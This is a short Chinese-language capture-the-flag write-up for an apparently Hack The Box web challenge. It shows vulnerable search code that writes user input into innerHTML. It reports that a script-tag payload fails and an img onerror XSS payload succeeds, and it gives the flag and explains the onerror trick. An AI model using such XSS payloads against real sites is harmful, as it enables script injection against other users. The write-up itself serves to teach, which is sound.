Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

题目描述

image-20250402140814057

(有附件,但完全不需要。)

观察

打开网页:

image-20250402135703298

注意右边的这段代码:

1
2
3
4
5
6
7
8
9
10
11
12
searchInput.addEventListener('input', function () {
const query = searchInput.value;
if (query.trim() !== "") {
const filteredArticles = filterArticles(query);
searchResultsHeading.innerHTML = `Results for: "${query}"`;
searchResultsHeading.style.display = 'block';
renderArticles(filteredArticles);
} else {
searchResultsHeading.style.display = 'none';
renderArticles(articles);
}
});

这里会直接提取我们的输入赋值给 query,并且将query直接拼接进HTML的代码里了。

网页右下角那里还给了些基础xss的例子:

image-20250402140048219

但是尝试

1
<script>alert('Boo!');</script>

会失败,有可能是那里自动过滤了。

渗透

尝试其他Payload即可:

1
<img src=x onerror="alert('Boo!')">

image-20250402140208525

检测到注入成功了便会自动显示flag。

image-20250402140218885

得到flag:HTB{xS5_iS_34SY_wh4t_d0_you_th1nk?}

讲一下这里注入成功的原理:

这是我们注入的内容:

1
<img src=x onerror="alert('Boo!')">

当我们在html里写

1
<img src="valid_image.jpg">

的时候浏览器会自动去加载图片。但是我们这里故意写了个无效的地址

1
<img src=x>

所以加载时会触发error,然后 onerror 里的内容会被当作 JavaScript 执行。